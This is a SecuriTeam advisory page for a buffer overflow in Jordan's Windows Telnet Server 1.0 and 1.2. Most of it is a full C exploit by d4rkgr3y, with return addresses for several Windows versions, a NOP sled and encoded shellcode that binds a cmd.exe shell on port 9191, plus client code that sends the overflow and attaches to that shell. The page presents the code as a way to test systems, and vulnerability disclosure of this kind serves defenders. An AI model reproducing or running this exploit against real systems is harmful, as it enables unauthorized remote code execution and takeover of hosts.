SecuriTeam - Jordan's Telnet Server Buffer Overflow Exploit

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Windows Telnet Server (Wtsd) "is a small commercial telnet server written by Jordan Stojanovski". A buffer overflow vulnerability in the product allows remote attackers to cause the product to execute arbitrary code (as we reported in Jordan's Telnet Server Buffer Overflow). The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by d4rkgr3y.

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Vulnerable systems:
* Jordan's Windows Telnet Server version 1.0
* Jordan's Windows Telnet Server version 1.2

Exploit:
/*
* Jordan's Windows Telnet server v.1.0 remote exploit
* binds cmd.exe shell on port 9191
*
* Home page: http://www.jordan.com/WindowsTelnetServer
* Advisory: http://security.nnov.ru/search/document.asp?docid=5583
*
* Tested on winxp only, but must work on other win32 systems.
*
* -d4rkgr3y [d4rk@securitylab.ru], m00.void.ru
*
*/

#include <string.h>
#include <unistd.h>
#include <netdb.h>

struct
{
  char *platform;
  long ret;
}

targets[]=
{
  {"Windows XP sp0", 0x77F5801C}, // ntdll.dll : jmp esp
  {"Windows XP sp1", 0x77fb59cc},
  {"Windows 2000 sp3", 0x77e2afc5},
  {"Windows NT sp6", 0x77f0eac3},
  {"Windows 98 SE", 0x7fdabfa9},
  {"Denial-of-Service attack", 0xdefaced},
};

char payload[] =
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90";

char w32pbshellcode[] =
  "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  "\xD3\x4A\x8C\x88";

void usage();

struct hostent *hp;

int main(int argc, char *argv[])
  {
  unsigned short port=23;
  unsigned int sock,addr,hand;
  char buf[1032], shit[666];

  printf("\n Jordan's Windows Telnet server v.1.0 remote exploit\n");
  printf("\t\tby m00 Security // m00.void.ru\n\n");

  if(argc<3 || argc>4) usage(argv[0]);
  if((atoi(argv[2]))>5) usage(argv[0]);
  if(argv[3]) port = atoi(argv[3]);

  memset(buf,'\x41',1032);
  memcpy(&buf[512], (unsigned char *) &targets[atoi(argv[2])].ret, 4);
  memcpy(&buf[516], payload, sizeof(payload));
  memcpy(&buf[548], w32pbshellcode, sizeof(w32pbshellcode));
  memset(buf+strlen(w32pbshellcode)+548,'\x0d',1);
  memset(buf+strlen(w32pbshellcode)+548+1,'\x0a',1);

  printf("~ Resolving hostname => ");
  if((hp=gethostbyname(argv[1]))==NULL) {
    printf("failed\n");
    exit(1);
  }
  printf("done\n");

  printf("~ Conneting => ");
  if((sock=connect_to_host(port))==-1) {
    printf("failed\n");
    exit(1);
  }
  printf("done\n");

  printf("~ Sending exploit buffer => ");
  sleep(2);
  recv(sock,shit,666,0);
  send(sock,buf,1032,0);
  printf("done\n");
  printf("~ Connecting to bindshell => ");
  usleep(1000);
  if((hand=connect_to_host(9191))==-1)
    printf("failed\n\n");
  else {
    printf("done\n~ Shell spawned on port 9191 ^ have a nice day\n\n");
    get_shell(hand);
  }

  close(sock);
  exit(0);
}

void usage(char *progname)
{
  int i;
  printf("Usage: %s <host> <os type> [port]\n\nWhere 'os type' is:\n",progname);
  for(i=0;targets[i].platform;i++) {
    printf(" %i %s\n", i, targets[i].platform);
  }
  printf("\n");
  exit(0);
}

int connect_to_host(int port)
{
  int sockt;
  struct sockaddr_in saddr;

  if((sockt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    return -1;
  memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  saddr.sin_family=AF_INET;
  saddr.sin_addr.s_addr=*((unsigned long *)hp->h_addr_list[0]);
  saddr.sin_port=htons(port);
  if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
    close(sockt);
    return -1;
  } else
  return sockt;
}

int get_shell(int bsh)
{
  fd_set rfds;
  int retVal,r;
  char buf[0x31337];
  do {
    FD_ZERO(&rfds);
    FD_SET(0, &rfds);
    FD_SET(bsh, &rfds);
    retVal=select(bsh+1, &rfds, NULL, NULL, NULL);
    if(retVal) {
      if(FD_ISSET(bsh, &rfds)) {

        buf[(r=recv(bsh, buf, 8095,0))]='\0';
        printf("%s", buf);
      }
      if(FD_ISSET(0, &rfds)) {
        buf[(r=read(0, buf, 8095))]='\0';
        send(bsh, buf, strlen(buf), 0);
      }
    }
  } while(retVal && r);

  close(bsh);
  return 1;
}

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